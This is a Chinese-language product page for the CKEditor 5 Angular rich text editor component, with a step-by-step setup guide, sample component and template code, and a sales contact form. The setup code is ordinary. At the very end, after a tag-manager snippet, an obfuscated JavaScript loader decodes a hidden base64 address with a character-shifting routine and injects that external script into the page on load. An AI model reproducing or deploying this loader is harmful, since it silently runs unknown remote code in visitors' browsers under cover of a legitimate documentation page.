报告:2024 年 协作编辑现状

获取有关 RTE 中协作趋势和未来的见解 现在下载

立即阅读

Angular 富文本编辑器

Angular 富文本编辑器是官方的 CKEditor 5 Angular 组件。 该组件公开了属性,以便快速将所见即所得编辑器集成到基于 Angular 的应用程序中。

通用

一个适应性强的生态系统,能够处理端到端的文档编辑、与第三方工具的互操作性、文档管理和协作。

可扩展

模块化架构,其中一切都是插件。 您可以根据需要调整、添加或删除插件。 使用自定义处理器来处理 HTML、Markdown 或 JSON 输出。

渐进式

利用 50 多位行业专家和 20 多年 WYSIWYG 编辑经验的出色团队。 我们每月发布新功能。

简单设置

这是一个使用 Angular 富文本编辑器的快速示例
CKEditor 5 的组件,使用 Angular CLI!

1

创建一个项目

使用 Angular CLI 创建一个项目,并将
工作目录更改为新创建的项目。

npx @angular/cli new ckeditor5-angular && cd ckeditor5-angular
2

安装软件包

安装 Angular 文本编辑器组件和所选编辑器类型的依赖项
根据您的首选编辑体验。 在这种情况下,我们使用经典的。

npm install ckeditor5 @ckeditor/ckeditor5-angular
3

添加一个组件

用负责导入和初始化编辑器的代码替换 src/app/app.component.ts 的内容。

import { Component } from '@angular/core';
import { CKEditorModule } from '@ckeditor/ckeditor5-angular';
import {
  ClassicEditor,
  Bold,
  Essentials,
  Heading,
  Indent,
  IndentBlock,
  Italic,
  Link,
  List,
  MediaEmbed,
  Paragraph,
  Table,
  Undo
} from 'ckeditor5';

import 'ckeditor5/ckeditor5.css';

@Component( {
  selector: 'app-root',
  templateUrl: './app.component.html',
  imports: [ CKEditorModule ],
  standalone: true
} )
export class AppComponent {
  title = 'angular';
  public Editor = ClassicEditor;
  public config = {
    toolbar: [
      'undo', 'redo', '|',
      'heading', '|', 'bold', 'italic', '|',
      'link', 'insertTable', 'mediaEmbed', '|',
      'bulletedList', 'numberedList', 'indent', 'outdent'
    ],
    plugins: [
      Bold,
      Essentials,
      Heading,
      Indent,
      IndentBlock,
      Italic,
      Link,
      List,
      MediaEmbed,
      Paragraph,
      Table,
      Undo
    ]
  }
}
4

添加模板

用负责控制编辑器的代码替换 src/app/app.component.html 的内容。

<ckeditor [editor]="Editor" [config]="config" data="<h1>Hello from CKEditor 5!</h1>"></ckeditor>
5

完成!

通过执行以下命令运行应用程序
在项目的目录中。

npm run start
6

探索文档

恭喜您设置了 CKEditor! 为了充分利用它,请访问 CKEditor 文档
以获取有关如何完全自定义和集成编辑器的全面指南。

值得信赖并获得批准

想了解更多关于 CKEditor 的信息吗?

您好,您对产品或定价有任何疑问吗?

关于我们 产品或定价 的问题?

联系我们的 销售代表

表格内容字段

表单提交

HiddenGatedContent。
隐藏的未使用字段。

我们很高兴
收到您的来信!

感谢您联系 CKEditor 销售团队。 我们已收到您的消息,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://127.0.0.1/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });